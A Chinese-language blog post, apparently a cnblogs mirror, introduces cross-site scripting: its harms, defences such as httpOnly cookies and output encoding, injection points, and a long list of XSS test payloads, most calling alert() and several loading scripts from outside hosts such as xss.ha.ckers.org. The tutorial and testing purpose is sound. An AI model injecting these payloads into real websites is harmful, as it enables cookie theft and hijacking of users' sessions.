zoukankan      html  css  js  c++  java
  • 网络安全之XSS

    什么是XSS

    XSS又叫CSS(Cross Site Script),跨站脚本攻击,它指的是恶意攻击者往Web页面里插入恶意代码脚本,而程序员在设计网站中输入输出的部分时,没有对用户输入的内容进行过滤,当用户浏览该页之时,嵌入其中Web里面的脚本代码会被执行,从而达到恶意攻击用户的特殊目的。

    XSS攻击方式 

    XSS危害

    „通过document.cookie盗取cookie

    „使用js或css破坏页面正常的结构与样式

    „流量劫持(通过访问某段具有window.location.href定位到其他页面)

    „Dos攻击:利用合理的客户端请求来占用过多的服务器资源,从而使合法用户无法得到服务器响应。

    „利用iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻击)用户的身份执行一些管理动作,或执行一些一般的如发微博、加好友、发私信等操作。

    „利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动。

    XSS防御 

    „对重要的 cookie设置 httpOnly,防止客户端通过document.cookie读取 cookie

    „对输入内容的特定字符进行编码,例如表示 html标记的 < > 等符号

    „对输出数据做处理

    „不要使用 Eval来解析并运行不确定的数据或代码,对于JSON解析请使用 JSON.parse() 方法

    „后端处理,例如php的htmlspecialchars,HTMLPurifier

     „浏览器自带的xss auditor(chrome,高版本IE,safari。。。)

    XSS攻击注入方式

    „1.HTML中直接显示"用户可控"数据导致XSS注入 

    „2.HTML标签属性注入"用户可控"数据,如input body等标签3.<script></script>注入"用户可控"数据 

    „4.URL注入 "用户可控"数据 

    „5.ajax、Json技术下注入"用户可控"数据 

    „6.flash环境下注入 "用户可控"数据

    „7.图片注入

    常见的攻击代码

    <script>alert('hello,gaga!');</script>

    >"'><img src="javascript.:alert('XSS')">

    >"'><script>alert('XSS')</script>

    <table background='javascript.:alert(([code])'></table>

    <object type=text/html data='javascript.:alert(([code]);'></object>

    "+alert('XSS')+"

    '><script>alert(document.cookie)</script>

    ='><script>alert(document.cookie)</script>

    <script>alert(document.cookie)</script>

    <script>alert(vulnerable)</script>

    <script>alert('XSS')</script>

    <img src="javascript:alert('XSS')">

    %0a%0a<script>alert("Vulnerable")</script>.jsp

    %3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e

    %3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e

    %3cscript%3ealert(%22xss%22)%3c/script%3e/index.html

    <script>alert('Vulnerable')</script>

    a.jsp/<script>alert('Vulnerable')</script>

    "><script>alert('Vulnerable')</script>

    <IMG SRC="javascript.:alert('XSS');">

    <IMG src="/javascript.:alert"('XSS')>

    <IMG src="/JaVaScRiPt.:alert"('XSS')>

    <IMG src="/JaVaScRiPt.:alert"("XSS")>

    <IMG SRC="jav ascript.:alert('XSS');">

    <IMG SRC="jav ascript.:alert('XSS');">

    <IMG SRC="jav ascript.:alert('XSS');">

    "<IMG src="/java"script.:alert("XSS")>";'>out

    <IMG SRC=" javascript.:alert('XSS');">

    <SCRIPT>a=/XSS/alert(a.source)</SCRIPT>

    <BODY BACKGROUND="javascript.:alert('XSS')">

    <BODY ONLOAD=alert('XSS')>

    <IMG DYNSRC="javascript.:alert('XSS')">

    <IMG LOWSRC="javascript.:alert('XSS')">

    <BGSOUND SRC="javascript.:alert('XSS');">

    <br size="&{alert('XSS')}">

    <LAYER SRC="http://xss.ha.ckers.org/a.js"></layer>

    <LINK REL="stylesheet"HREF="javascript.:alert('XSS');">

    <IMG SRC='vbscript.:msgbox("XSS")'>

    <META. HTTP-EQUIV="refresh"CONTENT="0;url=javascript.:alert('XSS');">

    <IFRAME. src="/javascript.:alert"('XSS')></IFRAME>

    <FRAMESET><FRAME. src="/javascript.:alert"('XSS')></FRAME></FRAMESET>

    <TABLE BACKGROUND="javascript.:alert('XSS')">

    <DIV STYLE="background-image: url(javascript.:alert('XSS'))">

    <DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');">

    <DIV STYLE=" expression(alert('XSS'));">

    <STYLE>@import'javascript:alert("XSS")';</STYLE>

    <IMG STYLE='xss:expression(alert("XSS"))'>

    <STYLE. TYPE="text/javascript">alert('XSS');</STYLE>

    <STYLE. TYPE="text/css">.XSS{background-image:url("javascript.:alert('XSS')");}</STYLE><A class="XSS"></A>

    <STYLE. type="text/css">BODY{background:url("javascript.:alert('XSS')")}</STYLE>

    <BASE HREF="javascript.:alert('XSS');//">

    getURL("javascript.:alert('XSS')")

    a="get";b="URL";c="javascript.:";d="alert('XSS');";eval(a+b+c+d);

    <XML SRC="javascript.:alert('XSS');">

    "> <BODY NLOAD="a();"><SCRIPT>function a(){alert('XSS');}</SCRIPT><"

    <SCRIPT. SRC="http://xss.ha.ckers.org/xss.jpg"></SCRIPT>

    <IMG SRC="javascript.:alert('XSS')"

    <SCRIPT. a=">"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>

    <SCRIPT.=">"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>

    <SCRIPT. a=">"''SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>

    <SCRIPT."a='>'"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>

    <SCRIPT>document.write("<SCRI");</SCRIPT>PTSRC="http://xss.ha.ckers.org/a.js"></SCRIPT>

    <A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A>"

    参考

    „参考XSS常见Paylaod  https://www.jianshu.com/p/f7d3ec8b6940 

    „XSS与字符编码的那些事儿 https://www.2cto.com/article/201310/251830.html 

    „xss挑战 https://xss-quiz.int21h.jp 

    „XSS测试平台 https://xsspt.com 

    „字符转换 https://tool.leavesongs.com/ 

    „图片xss  https://www.cnblogs.com/apossin/p/10169890.html 

    „新浪微博XSS事件  https://www.cnblogs.com/52php/p/5659859.html 

  • 相关阅读:
    markdown
    线段树模板
    Trie模板 UVALive 3942 Remember the Word
    使用swift写sprite Kit的模仿微信打飞机游戏
    Graffiti support page
    使用代码控制ScrollView的contentSize
    资料整理
    pd.to_sql()用法
    如何将表格的数据导入到mysql
    安装启动MySQL8.0,报错:1053
  • 原文地址:https://www.cnblogs.com/nkefww/p/10761262.html
Copyright © 2011-2022 走看看